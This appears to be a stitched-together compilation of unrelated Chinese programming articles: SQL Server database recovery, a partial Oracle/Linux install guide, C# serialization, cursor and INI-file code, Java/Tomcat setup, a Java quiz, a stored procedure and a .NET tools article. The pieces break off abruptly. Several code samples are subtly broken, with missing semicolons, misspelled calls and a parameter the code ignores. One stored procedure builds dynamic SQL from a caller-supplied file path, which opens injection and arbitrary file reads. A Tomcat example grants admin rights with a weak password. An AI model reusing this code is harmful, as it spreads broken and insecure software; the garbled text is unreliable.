在SQL Server 7中由于MS重新设计了数据库文件的存储方式，取消了新建设备再建数据库这一繁琐的过程。新的存储格式,一个数据库包括两个文件，mdf数据库文件和ldf日志文件。所以我们在重装机器备份时可以

把你要备份的数据库的这两个文件拷贝出来，重新安装之后再恢复。

　　在SQL Server中提供了这种恢复方式的存储过程。 

　　1.sp_attach_db [@dbname =] dbname,[@filename1 =] filename_n

　　给系统添加一个数据库，在dbname指定数据库名称，filename＿n指定数据库的文件和日志文件。比如我有一个voogiya的库，停止SQL Server服务备份voogiya_data.mdf,voogiya_log.ldf，启动SQL server,删除掉这个库，然后再把这两上文件拷到sql server　DATA目录中，在Query Analyzer中执行如下语句：

　　EXEC sp_attach_db @dbname = Nvoogiya,
　　@filename1 = Nd:\mssql7\data\voogiya_data.mdf,
　　@filename2 = Nd:\mssql7\data\voogiya_log.ldf

　　就会把这个库加入到SQL Server Group中.

　　2.sp_attach_single_file_db [@dbname =] dbname,
　　[@physname =] physical_name

　　这个命令和上面的功能一样，在physical_name中只要写上据库的物理文件名就可以了，日志文件SQL server会重新建立。这个存储过程的运行要先执行下面的存储过程：

　　sp_detach_db @dbname = dbname

　　同样以上面的为例：

　　EXEC sp_detach_db @dbname = voogiya
　　EXEC sp_attach_single_file_db @dbname = voogiya,
　　@physname = d:\mssql7\data\voogiya_data.mdf

　　要注意执行以上存储过程的用户要在sysadmin中.

　　以上方法在windows Nt 4.0,service pack5,sql server 7.0上运行通过。

　　任何数据库系统都无法避免崩溃的状况，即使你使用了Clustered，双机热备……仍然无法完全根除系统中的单点故障，何况对于大部分用户来说，无法承受这样昂贵的硬件投资。所以，在系统崩溃的时候，如何恢复原有的宝贵数据就成为一个极其重要的问题了。

　　在恢复的时候，最理想的情况就是你的数据文件和日志文件都完好无损了，这样只需要sp_attach_db，把数据文件附加到新的数据库上即可，或者在停机的时候把所有数据文件(一定要有master等)都copy到原有路径下也行，不过一般不推荐这样的做法，sp_attach_db比较好，虽然麻烦许多。

　　但是呢，一般数据库崩溃的时候系统是未必能有时间把未完成的事务和脏页等写入磁盘的，这样的情况sp_attach_db就会失败。那么，寄期望于DBA制定了一个良好的灾难恢复计划吧。按照你的恢复计划，还原最新的完全备份，增量备份或者事务日志备份，然后如果你的活动事务日志还能读得出来的话，恭喜你！你可以还原到崩溃前的状态。

　　　一般的单位都是没有专职的DBA的，如果没有可用的备份，更可能是最近一次备份的时间过于久远而导致不可接受的数据损失，而且你的活动事务日志也处于不可用的状态，那就是最麻烦的情况了。

　　不幸的很的是，一般数据库崩溃都是由于存储子系统引起的，而这样的情况是几乎不可能有可用的日志用于恢复的。

　　那么就只好试一下这些方案了。当然，是要求至少你的数据文件是存在的，要是数据文件、日志文件和备份都没有了的话，别找我，你可以到楼顶上去唱“神啊，救救我吧”。

　　首先，你可以试一下sp_attach_single_file_db，试着恢复一下你的数据文件，虽然能恢复的可能性不大，不过假如这个数据库刚好执行了一个checkpoint的话，还是有可能成功的。

　　如果你没有好到有摸彩票的手气，最重要的数据库没有像你期盼的那样attach上去，不要气馁，还是有别的方案的。

　　我们可以试着重新建立一个log，先把数据库设置为emergency mode，sysdatabases的status为32768 就表示数据库处于此状态。

　　不过系统表是不能随便改的，设置一下先
　　Use Master
　　Go
　　sp_configure 'allow updates', 1
　　reconfigure with override
　　Go
　　然后
　　update sysdatabases set status = 32768 where name = ''

　　现在，祈求满天神佛的保佑吧，重新建立一个log文件。成功的机会还是相当大的，系统一般都会认可你新建立的日志。如果没有报告什么错误，现在就可以松一口气了。

　　虽然数据是恢复了，可是别以为事情就算完成了，正在进行的事务肯定是丢失了，原来的数据也可能受到一些损坏。

　　先把SQL Server 重新启动一下，然后检查你的数据库吧。
　　先设置成单用户模式，然后做dbcc
　　sp_dboption '', 'single user', 'true'
　　DBCC CHECKDB('')

　　如果没有什么大问题就可以把数据库状态改回去了，记得别忘了把系统表的修改选项关掉。
update sysdatabases set status = 28 where name = '' --当然你的数据库状态可能不是这个，自己改为合适的值吧。也可以用sp_resetstatus
　　go
　　sp_configure 'allow updates', 0
　　reconfigure with override
　　Go

　　checkdb的时候可能报告有一些错误，这些错误的数据你可能就只好丢弃了。

　　checkdb有几种修复选项，自己看着用吧，不过最后你可能还是得REPAIR_ALLOW_DATA_LOSS，完成所有修复。

　　chekcdb并不能完成所有的修复，我们需要更进一步的修复，用DBCC CHECKTABLE对每一个表做检查吧。

　　表的列表可以用sysobjects里面得到，把OBJECTPROPERTY是IsTable的全部找出来检查一下吧，这样能够基本上解决问题了，如果还报告错误，试着把数据select into到另一张表检查一下。

　　这些都做完了之后，把所有索引、视图、存储过程、触发器等重新建立一下。DBCC DBREINDEX也许可以帮你一些忙。

　　上面提到的命令、对象在Books Online中均有详细说明，请注意参看。

第 1 部分：安装 Linux

本指南安装至少具有以下硬件配置的服务器：

• 两个 800MHz Pentium III CPU
  
  
  
• 512MB RAM
  
  
  
• 两个 SCSI 主机适配器 (Ultra SCSI 160)
  
  
  
• 八个 SCSI 磁盘驱动器 (2 x 9GB + 6 x 36GB)
  
  
  
• 一个 100Base-T 以太网适配器
  
  
  
• 一个 1000Base-T 以太网适配器
  

对磁盘进行配置，使每个 SCSI 主机适配器连接到一个 9GB 磁盘和三个 36GB 磁盘。

请注意，尽管这根本算不上是一个“强大”的设置，但即便是使用再低的设置也可以完成本指南介绍的大部分任务。基本数据库安装只需要一个 CPU、512MB 内存和一个可用空间至少为 6.5GB 的磁盘驱动器（IDE、SCSI 或 FireWire）。

现在，我们将逐步演示在服务器上安装 Linux 操作系统的过程。本文假设进行 Linux 系统全新安装（有别于升级），并假设服务器为 Oracle 所专用，且服务器上没有其他操作系统或数据。

Red Hat Enterprise Linux 4

Oracle 10g 经认证可以在不需要更新的情况下运行 Red Hat Enterprise Linux 4（Advanced Server 和 Enterprise Server）的基本版本。如果拥有更新 CD，则可以使用更新版本中的启动 CD 而非基本版本中的启动 CD 在安装过程中自动应用所有更新。Oracle 支持 Red Hat 的所有更新。

1.       使用第一张 CD 启动服务器。

o        您可能需要更改 BIOS 设置，以允许从 CD 启动。

2.       启动屏幕上出现时在底部显示 boot:。

o        选择 Enter，从控制台上执行图形安装。（对于其他安装方法和选项，请参阅 Red Hat 安装指南。）

o        安装程序扫描硬件，短暂显示 Red Hat 闪屏，然后开始显示一系列屏幕提示。

3.       选择语言

o        接受默认值。

4.       配置键盘

o        接受默认值。

5.       欢迎屏幕

o        单击 Next。

6.       配置鼠标

o        接受默认值。

7.       安装类型

o        选择 Custom。

8.       设置磁盘分区

o        本文不介绍磁盘分区的详细方法，而是假设您熟悉磁盘分区方法。

（警告：对磁盘进行错误分区是删除硬盘上所有内容的最可靠、最快捷的方法之一。如果不确定如何分区，请先停下来，找人帮帮您，否则您将冒丢失数据的危险！）

本文使用以下分区方案（文件系统均为 ext3）：

第一个控制器 (/dev/sda) 上的 9GB 磁盘包含以下分区，用于存放所有 Linux 和 Oracle 软件：
- 100MB /boot 分区
-1,500MB 交换分区 — 将此分区大小至少设置为系统 RAM 的两倍，但不要超过 2GB（32 位系统不支持大于 2GB 的交换文件）。如果需要大于 2GB 的交换空间，则创建多个交换分区。
-7,150MB 根分区 — 该分区将用于所有目录，包括 /usr、/tmp、/var、/opt、/home 等。这样做纯粹是为了讲解本指南而简化安装。更可靠的分区方案是将这些目录划分到单独的文件系统。

要序列化的对象的类：

[Serializable]
public class Person
{
private string name;
public string Name
{
get
{
return name;
}
set
{
name=value;
}
}
public string Sex;
public int Age=31;
public Course[] Courses;

public Person()
{
}
public Person(string Name)
{
name=Name;
Sex="男";
}
}
[Serializable]
public class Course
{
public string Name;
[XmlIgnore]public string Description;
public Course()
{
}
public Course(string name,string description)
{
Name=name;
Description=description;
}
} 

进行序列化及反序列化的测试类：

class Test
{
//序列化
public void Serialiaze()
{
Person c=new Person("cyj")
c.Courses=new Course[2];
c.Courses[0]=new Course("英语","交流工具")
c.Courses[1]=new Course("数学","自然科学")

XmlSerializer xs=new XmlSerializer(typeof(Person));
Stream stream = new FileStream("c:\\cyj.xml", FileMode.Create, FileAccess.Write, FileShare.ReadWrite);
xs.Serialize(stream, c);
stream.Close();
}
//反序列化
public void Deserialize()
{
XmlSerializer xs=new XmlSerializer(typeof(Person));
Stream stream = new FileStream("c:\\cyj.xml", FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
Person p=(Person)xs.Deserialize(stream);
Console.WriteLine(p.Name);
Console.WriteLine(p.Age.ToString());
Console.WriteLine(p.Courses.Length.ToString());
Console.Read();
}
}

格式化后Xml的文档内容为：
<?xml version="1.0"?>
<Person xmlns:xsd=http://www.w3.org/2001/XMLSchema    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
 <Sex>男</Sex>
  <Age>31</Age>
  <Courses>
    <Course>
      <Name>英语</Name>
    </Course>
    <Course>
      <Name>数学</Name>
    </Course>
  </Courses>
  <Name>cyj</Name>
</Person>

本文从两个方面讲述.NET中自定义光标的实现，部分是参考“孟子”前辈的资料，以示说明。 

    首先要明白一个知识点：光标的分类
    光标分为两大类，一是静态光标(*.cur)，一是动态光标(*.ani)。这两类光标又有彩色和单像素之分。一般常见的静态光标多数是单像素的，.NET中可以直接支持这种光标。而对于彩色或动态光标则是有256色甚至更高像素组成的动画光标，在.NET中若要支持动态光标或彩色光标需要调用Win32 API实现。

    1：在.NET中利用资源文件实现自定义静态光标（以下为MSDN原文）

            // The following generates a cursor from an embedded resource.
            
     // To add a custom cursor, create or use an existing 16x16 bitmap
     //        1. Add a new cursor file to your project: 
     //                File->Add New Item->Local Project Items->Cursor File
     //        2. Select 16x16 image type:
     //                Image->Current Icon Image Types->16x16

     // --- To make the custom cursor an embedded resource  ---
            
     // In Visual Studio:
     //        1. Select the cursor file in the Solution Explorer
     //        2. Choose View->Properties.
     //        3. In the properties window switch "Build Action" to "Embedded"

     // On the command line:
     //        Add the following flag:
     //            /res:CursorFileName.Cur,Namespace.CursorFileName.Cur
     //        
     //        Where "Namespace" is the namespace in which you want to use the cursor
     //        and   "CursorFileName.Cur" is the cursor filename.

     // The following line uses the namespace from the passed-in type
     // and looks for CustomCursor.MyCursor.Cur in the assemblies manifest.
     // NOTE: The cursor name is acase sensitive.
     this.Cursor = new Cursor(GetType(), "MyCursor.Cur");

    此处需要注意的是在调用的时候，MyCursor.Cur为资源文件的名称，大小写区分。如下图所示：
  
    则资源文件名称应该为Cursor.block.cur，以命名空间的形式来访问资源。

    2：.NET中实现自定义彩色光标和动态光标
    以下为引用win32 api函数，用于创建自定义光标、设置光标等操作。

　　 [DllImport("user32.dll")]
　　 public static extern IntPtr LoadCursorFromFile( string fileName );
　　
　　 [DllImport("user32.dll")]
　　 public static extern IntPtr SetCursor( IntPtr cursorHandle );
　　
　　 [DllImport("user32.dll")]
　　 public static extern uint DestroyCursor( IntPtr cursorHandle );

    调用自定义光标则可以如下操作：
    Cursor myCursor = new Cursor(Cursor.Current.Handle);
　　//dinosau2.ani为windows自带的光标：
　　IntPtr colorCursorHandle = LoadCursorFromFil(@"C:\WINNT\Cursors\dinosau2.ani" );
　　myCursor.GetType().InvokeMember("handle",BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.SetField,null,myCursor, new object [] { colorCursorHandle } );
　　this.Cursor = myCursor;

    以上方式就是设定自定义光标的实现。当然不管是静态光标还是动态光标都需要自己设计之后方可引用。

一：Win Form登录机制的实现
    Main窗体为应用程式主窗体，Login为登录窗体。均为SDI窗体。
    两种实现方式如下：
        1、应用程式入口放在Login窗体，在Login窗体实现登录机制，验证通过则创建Main窗体的实例，并将自身隐藏。
        具体实现：
        ///Step1：验证登录
        ///Step2：通过
            this.hide(); 
            oMain.Show();
        虽然可以实现登录机制，但是Login窗体并没有释放掉，而是被隐藏掉，内存资源未有效利用。这种方式其实是不可取的。
        2、应用程式入口放在Main窗体，在Main函数中创建Login窗体的实例，Login窗体完成登录验证，返回Main窗体，程式继续执行。需要注意的是Login窗体只有验证通过时返回值才为DialogResult.OK，其余时返回DialogResult.None。这样在Main窗体就可以根据返回值判断是否创建Main窗体的实例。
        /// <summary>
        /// 应用程序的主入口点。
        /// </summary>
        [STAThread]
        static void Main()
        {
            frmLogin login = new frmLogin();
            login.ShowDialog();
            if(login.DialogResult.Equals(DialogResult.OK))
            {
                login.Close();
                Application.Run(new frmMain());
            }
        }  
二：利用ImageList作为Resource的载体
    Win Form的程式，外部文件是比较烦人的事情，这里采用Resource将外部图片文件加载到程式中。而ImageList是一个不错的选择，使用简单。
    具体实现：
        ///Step1：将图片在可是模式下加载到ImageList中。
        ///Step2：程式中可以采用this.imgLstResource.Images[index]的方式获取其中的Image对象。

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Runtime.InteropServices;
using System.Text;

namespace INIManage
{
 /// <summary>
 /// INIManage 的摘要说明
 /// 在http://www.allapi.net/ 上发现了一个VB.NET的INI文件操作类，下载了看了看，顺手改成了C#版的
 /// 你可以把它编译成dll在winform或webform中引用，也可以直接把代码拷到项目中使用
 /// 我没有进行逐项测试，所以可能有不对的地方，请酌情修改
 /// --------------丛兴滋(cncxz) 2005-08-23
 /// </summary>
 public class INIManage
 {

  #region" 引入相关dll "

  [DllImport("KERNEL32.DLL", EntryPoint="GetPrivateProfileIntA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int GetPrivateProfileInt(string lpApplicationName, string lpKeyName, int nDefault, string lpFileName);

  [DllImport("KERNEL32.DLL", EntryPoint="GetPrivateProfileSectionsNamesA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int GetPrivateProfileSectionsNames(byte[] lpszReturnBuffer, int nSize, string lpFileName);

  [DllImport("KERNEL32.DLL", EntryPoint="GetPrivateProfileStringA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int GetPrivateProfileString(string lpApplicationName, string lpKeyName, string lpDefault, StringBuilder lpReturnedString, int nSize, string lpFileName);

  [DllImport("KERNEL32.DLL", EntryPoint="GetPrivateProfileStructA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int GetPrivateProfileStruct(string lpszSections, string lpszKey, byte[] lpStruct, int uSizeStruct, string szFile);
 
  [DllImport("KERNEL32.DLL", EntryPoint="WritePrivateProfileSectionsA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int WritePrivateProfileSections(string lpAppName, string lpString, string lpFileName);

  [DllImport("KERNEL32.DLL", EntryPoint="WritePrivateProfileStringA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int WritePrivateProfileString(string lpApplicationName, string lpKeyName, string lpString, string lpFileName);

  [DllImport("KERNEL32.DLL", EntryPoint="WritePrivateProfileStructA", CallingConvention=CallingConvention.StdCall, CharSet=CharSet.Ansi, ExactSpelling=true)]
  private static extern int WritePrivateProfileStruct(string lpszSections, string lpszKey, byte[] lpStruct, int uSizeStruct, string szFile);

  #endregion

  private string _Filename;    //INI文件名
  private string _Sections;     //INI文件中配置参数的组别片段
  private const int MAX_ENTRY = 32768; //最大字符数

  public INIManage(string strFile)
  {
   this.Filename = strFile;
  }

  #region" INI操作类的属性 "

  public string Filename
  {
   get
   {
    return this._Filename;
   }
   set
   {
    this._Filename = value;
   }
  }

  public string Sections
  {
   get
   {
    return this._Sections;
   }
   set
   {
    this._Sections = value;
   }
  }

  #endregion

  #region" INI操作类的Read相关方法 "
 
  // Read相关方法中的 DefaultValue是 在INI文件中找不到相关配置 时的返回值
  //ReadBoolean是读取bool类型的配置参数，ReadByteArray是读取 byte[]类型的配置参数
  //ReadInteger是读取int类型的配置参数。。。。依次类推

  public bool ReadBoolean(string Key)
  {
   return this.ReadBoolean(this.Sections, Key);
  }

  public bool ReadBoolean(string Key, bool DefaultValue)
  {
   return this.ReadBoolean(this.Sections, Key, DefaultValue);
  }

  public bool ReadBoolean(string Sections, string Key)
  {
   return this.ReadBoolean(Sections, Key, false);
  }

  public bool ReadBoolean(string Sections, string Key, bool DefaultValue)
  {
   return bool.Parse(this.ReadString(Sections, Key, DefaultValue.ToString()));
  }

  public byte[] ReadByteArray(string Key, int Length)
  {
   return this.ReadByteArray(this.Sections, Key, Length);
  }

  public byte[] ReadByteArray(string Sections, string Key, int Length)
  {
   byte[] buffer1;
   if (Length > 0)
   {
    try
    {
     byte[] buffer2 = new byte[(Length - 1) + 1];
     if (INIManage.GetPrivateProfileStruct(Sections, Key, buffer2, buffer2.Length, this.Filename) == 0)
     {
      return null;
     }
     return buffer2;
    }
    catch (Exception exception1)
    {
     ProjectData.SetProjectError(exception1);
     buffer1 = null;
     ProjectData.ClearProjectError();
     return buffer1;               
    }
   }
   else
   {
    return null;
   }
       
  }

  public int ReadInteger(string Key)
  {
   return this.ReadInteger(Key, 0);
  }

  public int ReadInteger(string Key, int DefaultValue)
  {
   return this.ReadInteger(this.Sections, Key, DefaultValue);
  }

  public int ReadInteger(string Sections, string Key)
  {
   return this.ReadInteger(Sections, Key, 0);
  }

  public int ReadInteger(string Sections, string Key, int DefaultValue)
  {
   int num1;
   try
   {
    num1 = INIManage.GetPrivateProfileInt(Sections, Key, DefaultValue, this.Filename);
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    num1 = DefaultValue;
    ProjectData.ClearProjectError();
    return num1;           
   }
   return num1;
  }

  public long ReadLong(string Key)
  {
   return this.ReadLong(Key, (long) 0);
  }

  public long ReadLong(string Key, long DefaultValue)
  {
   return this.ReadLong(this.Sections, Key, DefaultValue);
  }

  public long ReadLong(string Sections, string Key)
  {
   return this.ReadLong(Sections, Key, 0);
  }

  public long ReadLong(string Sections, string Key, long DefaultValue)
  {
   return long.Parse(this.ReadString(Sections, Key, DefaultValue.ToString()));
  }

  public string ReadString(string Key)
  {
   return this.ReadString(this.Sections, Key);
  }

  public string ReadString(string Sections, string Key)
  {
   return this.ReadString(Sections, Key, "");
  }

  public string ReadString(string Sections, string Key, string DefaultValue)
  {
   string text1;
   try
   {
    StringBuilder builder1 = new StringBuilder(MAX_ENTRY);
    int num1 = INIManage.GetPrivateProfileString(Sections, Key, DefaultValue, builder1, MAX_ENTRY, this.Filename);
    text1 = builder1.ToString();
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    text1 = DefaultValue;
    ProjectData.ClearProjectError();
    return text1;
         
   }
   return text1;
  }

  #endregion

  #region" INI操作类的Write相关方法 "
 
  public bool Write(string Key, bool Value)
  {
   return this.Write(this.Sections, Key, Value);
  }

  public bool Write(string Key, byte[] Value)
  {
   return this.Write(this.Sections, Key, Value);
  }

  public bool Write(string Key, string Value)
  {
   return this.Write(this.Sections, Key, Value);
  }

  public bool Write(string Key, int Value)
  {
   return this.Write(this.Sections, Key, Value);
  }

  public bool Write(string Key, long Value)
  {
   return this.Write(this.Sections, Key, Value);
  }

  public bool Write(string Sections, string Key, byte[] Value)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileStruct(Sections, Key, Value, Value.Length, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }

  public bool Write(string Sections, string Key, bool Value)
  {
   return this.Write(Sections, Key, Value.ToString());
  }

  public bool Write(string Sections, string Key, int Value)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileString(Sections, Key, Value.ToString(), this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }

  public bool Write(string Sections, string Key, long Value)
  {
   return this.Write(Sections, Key, Value.ToString());
  }

  public bool Write(string Sections, string Key, string Value)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileString(Sections, Key, Value, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }

  #endregion

  #region" INI操作类的Delete相关方法 "

  public bool DeleteKey(string Key)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileString(this.Sections, Key, null, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;           
   }
   return flag1;
  }

  public bool DeleteKey(string Section, string Key)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileString(Sections, Key, null, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }

  public bool DeleteSections(string Section)
  {
   bool flag1;
   try
   {
    flag1 = INIManage.WritePrivateProfileSections(Sections, null, this.Filename) != 0;
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    flag1 = false;
    ProjectData.ClearProjectError();
    return flag1;          
   }
   return flag1;
  }

  #endregion

  public ArrayList GetSectionsNames()
  {
   int num1;
   ArrayList list1 = new ArrayList();
   byte[] buffer1 = new byte[MAX_ENTRY];
   int num2 = 0;
   try
   {
    num1 = INIManage.GetPrivateProfileSectionsNames(buffer1, MAX_ENTRY, this.Filename);
   }
   catch (Exception exception1)
   {
    ProjectData.SetProjectError(exception1);
    ProjectData.ClearProjectError();
    return list1;         
   }
   ASCIIEncoding encoding1 = new ASCIIEncoding();
   if (num1 > 0)
   {
    string text1 = encoding1.GetString(buffer1);
    num1 = 0;
    num2 = -1;
    while (true)
    {
     num1 = text1.IndexOf('\0', (int) (num2 + 1));
     if (((num1 - num2) == 1) || (num1 == -1))
     {
      return list1;
     }
     try
     {
      list1.Add(text1.Substring(num2 + 1, num1 - num2));
     }
     catch (Exception exception2)
     {
      ProjectData.SetProjectError(exception2);
      ProjectData.ClearProjectError();
     }
     num2 = num1;
    }
   }
   return list1;
  }

 }
}

一、 工具篇JDK (Java Development Kit)
JDK是整个Java的核心，包括了Java运行环境（Java Runtime Envirnment），一堆Java工具和Java基础的类库(rt.jar)。不论什么Java应用服务器实质都是内置了某个版本的JDK。因此掌握JDK是学好Java的第一步。最主流的JDK是Sun公司发布的JDK，除了Sun之外，还有很多公司和组织都开发了自己的JDK，例如IBM公司开发的JDK，BEA公司的Jrocket，还有GNU组织开发的JDK等等。其中IBM的JDK包含的JVM（Java Virtual Machine）运行效率要比Sun JDK包含的JVM高出许多。而专门运行在x86平台的Jrocket在服务端运行效率也要比Sun JDK好很多。但不管怎么说，我们还是需要先把Sun JDK掌握好。
1、 JDK的下载和安装

JDK又叫做J2SE（Java2 SDK Standard Edition），可以从Sun的Java网站上下载到，http://java.sun.com/j2se/downloads.html ，JDK当前最新的版本是J2SDK1.4.2，建议下载该版本的JDK，下载页面在这里：http://java.sun.com/j2se/1.4.2/download.html。下载好的JDK是一个可执行安装程序，默认安装完毕后会在C:\Program Files\Java\目录下安装一套JRE（供浏览器来使用），在C:\j2sdk1.4.2下安装一套JDK（也包括一套JRE）。然后我们需要在环境变量PATH的最前面增加java的路径C:\j2sdk1.4.2\bin。这样JDK就安装好了。

2、 JDK的命令工具

JDK的最重要命令行工具：


java： 启动JVM执行class
javac： Java编译器
jar： Java打包工具
javadoc： Java文档生成器
这些命令行必须要非常非常熟悉，对于每个参数都要很精通才行。对于这些命令的学习，JDK Documentation上有详细的文档。

二、 JDK Documentation

Documentation在JDK的下载页面也有下载连接，建议同时下载Documentation。Documentation是最最重要的编程手册，涵盖了整个Java所有方面的内容的描述。可以这样说，学习Java编程，大部分时间都是花在看这个Documentation上面的。我是随身携带的，写Java代码的时候，随时查看，须臾不离手。

三、 应用服务器(App Server)

App Server是运行Java企业组件的平台，构成了应用软件的主要运行环境。当前主流的App Server是BEA公司的Weblogic Server和IBM公司的Websphere以及免费的Jboss，选择其中一个进行学习就可以了，个人推荐Weblogic，因为它的体系结构更加干净，开发和部署更加方便，是Java企业软件开发人员首选的开发平台。下面简要介绍几种常用的App Server：

1、 Tomcat

Tomcat严格意义上并不是一个真正的App Server，它只是一个可以支持运行Serlvet/JSP的Web容器，不过Tomcat也扩展了一些App Server的功能，如JNDI，数据库连接池，用户事务处理等等。Tomcat被非常广泛的应用在中小规模的Java Web应用中，因此本文做一点下载、安装和配置Tomcat的介绍：

Tomcat是Apache组织下Jakarta项目下的一个子项目，它的主网站是：http://jakarta.apache.org/tomcat/ ，Tomcat最新版本是Tomcat4.1.27，软件下载的连接是：http://www.apache.org/dist/jakarta/tomcat-4/binaries/ 。

下载Tomcat既可以直接下载zip包，也可以下载exe安装包（个人建议zip更干净些），不管哪种情况，下载完毕安装好以后（zip直接解压缩就可以了）。需要设置两个环境变量：


JAVA_HOME=C:\j2sdk1.4.2
CATALINA_HOME=D:\tomcat4 (你的Tomcat安装目录)

这样就安装好了，启动Tomcat运行CATALINA_HOME\bin\startup.bat，关闭Tomcat运行shutdown.bat脚本。Tomcat启动以后，默认使用8080端口，因此可以用浏览器访问http://localhost:8080来测试Tomcat是否正常启动。

Tomcat提供了两个Web界面的管理工具，URL分别是：

http://localhost:8080/admin/index.jsp

http://localhost:8080/manager/html

在启用这两个管理工具之前，先需要手工配置一下管理员用户和口令。用一个文本工具打开CATALINA_HOME\conf\tomcat-users.xml这个文件，加入如下几行：
<role rolename="manager"/>
<role rolename="admin"/>
<user username="robbin" password="12345678" roles="admin,manager,tomcat"/>

这样用户“robbin”就具备了超级管理员权限。重新启动Tomcat以后，你就可以使用该用户来登陆如上的两个管理工具，通过Web方式进行Tomcat的配置和管理了。

2、 BEA Weblogic

Weblogic可以到BEA的网站上免费注册之后下载到最新的Weblogic8.1企业版，License可以免费使用1年时间，其实这已经完全足够了。Weblogic的下载连接：http://commerce.bea.com/index.jsp，.../edocs.bea.com/ 。

3、 IBM Webshpere

Websphere同样可以下载到免费的试用版本，到IBM的developerWorks网站可以看到Websphere试用产品的下载和相关的Websphere的资料，developerWorks中文网站的连接是：http://www-900.ibm.com/developerWorks/cn/wsdd/ ，Websphere的下载连接：http://www7b.software.ibm.com/wsdd/...WASsupport.html 。

4、 Jboss

Jboss是免费开源的App Server，可以免费的从Jboss网站下载：http://www.jboss.org/index.html，然...n.com/idea.html

1.

abstract class Name {

    private String name;

    public abstract boolean isStupidName(String name) {}

}

大侠们，这有何错误?

答案: 错。abstract method必须以分号结尾，且不带花括号。

2.

public class Something {

    void doSomething () {

        private String s = "";

        int l = s.length();

    }

}

有错吗?

答案: 错。局部变量前不能放置任何访问修饰符 (private，public，和protected)。final可以用来修饰局部变量 (final如同abstract和strictfp，都是非访问修饰符，strictfp只能修饰class和method而非variable)。

3.

abstract class Something {

    private abstract String doSomething ();

}

这好像没什么错吧?

答案: 错。abstract的methods不能以private修饰。abstract的methods就是让子类implement(实现)具体细节的，怎么可以用private把abstract method封锁起来呢? (同理，abstract method前不能加final)。

4.

public class Something {

    public int addOne(final int x) {

        return ++x;

    }

}

这个比较明显。

答案: 错。int x被修饰成final，意味着x不能在addOne method中被修改。

5.

public class Something {

    public static void main(String[] args) {

        Other o = new Other();

        new Something().addOne(o);

    }

    public void addOne(final Other o) {

        o.i++;

    }

}

class Other {

    public int i;

}

和上面的很相似，都是关于final的问题，这有错吗?

答案: 正确。在addOne method中，参数o被修饰成final。如果在addOne method里我们修改了o的reference (比如: o = new Other();)，那么如同上例这题也是错的。但这里修改的是o的member vairable (成员变量)，而o的reference并没有改变。

--**************************************
-- Name: Read a text file into SQL SERVER
--
-- Description:Using BULK INSERT TO READ
--             A TEXT FILE into SQL SERVER and ELIMINATING
--             THE USE of another text editor.
-- By: Eli Leiba
--
-- Inputs:@filename sysname (filename includes path)
--
-- Returns:a recordset of the file lines in QUERY analyzer
--
-- Assumes:Usage :
   EXEC sp_readTextFile 'c:\autoexec.bat'
--
--This code is copyrighted and has limited warranties.
--Please see http://www.Planet-Source-Code.com/vb/scripts/ShowCode.asp?txtCodeId=359&lngWId=5
--for details.
--**************************************
--    

CREATE PROC sp_readTextFile @filename sysname
as
     BEGIN
     SET nocount ON
     CREATE TABLE #tempfile (line varchar(8000))
     EXEC ('bulk INSERT #tempfile FROM "' + @filename + '"')
     SELECT * FROM #tempfile
     DROP TABLE #tempfile
 END
 GO

每个开发人员现在应该下载的十种必备工具

本页内容

	Snippet Compiler
	Regulator
	CodeSmith
	生成自定义模板
	NUnit
	编写 NUnit 测试
	FxCop
	Lutz Roeder 的 .NET Reflector
	NDoc
	NAnt
	实际运行的 NAnt
	转换工具
	小结

Snippet Compiler

Snippet Compiler 是一个基于 Windows® 的小型应用程序，您可以通过它来编写、编译和运行代码。如果您具有较小的代码段，并且您不希望为其创建完整的 Visual Studio .NET 项目（以及伴随该项目的所有文件），则该工具将很有用。

例如，假设我希望向您说明如何从 Microsoft?.NET 框架中启动另一个应用程序。在 Snippet Compiler 中，我将通过新建一个能够创建小型控制台应用程序的文件开始。可以在该控制台应用程序的 Main 方法内部创建代码片段，而这正是我要在这里做的事情。下面的代码片段演示了如何从 .NET 框架中创建记事本实例：

System.Diagnostics.Process proc = new System.Diagnostics.Process();

proc.StartInfo.FileName= "notepad.exe";

proc.Start();

proc.WaitForExit();

当然该代码片段本身无法编译，而这正是 Snippet Compiler 的用武之地。图 1 显示了 Snippet Compiler 中的这一代码示例。

图 1 Snippet Compiler

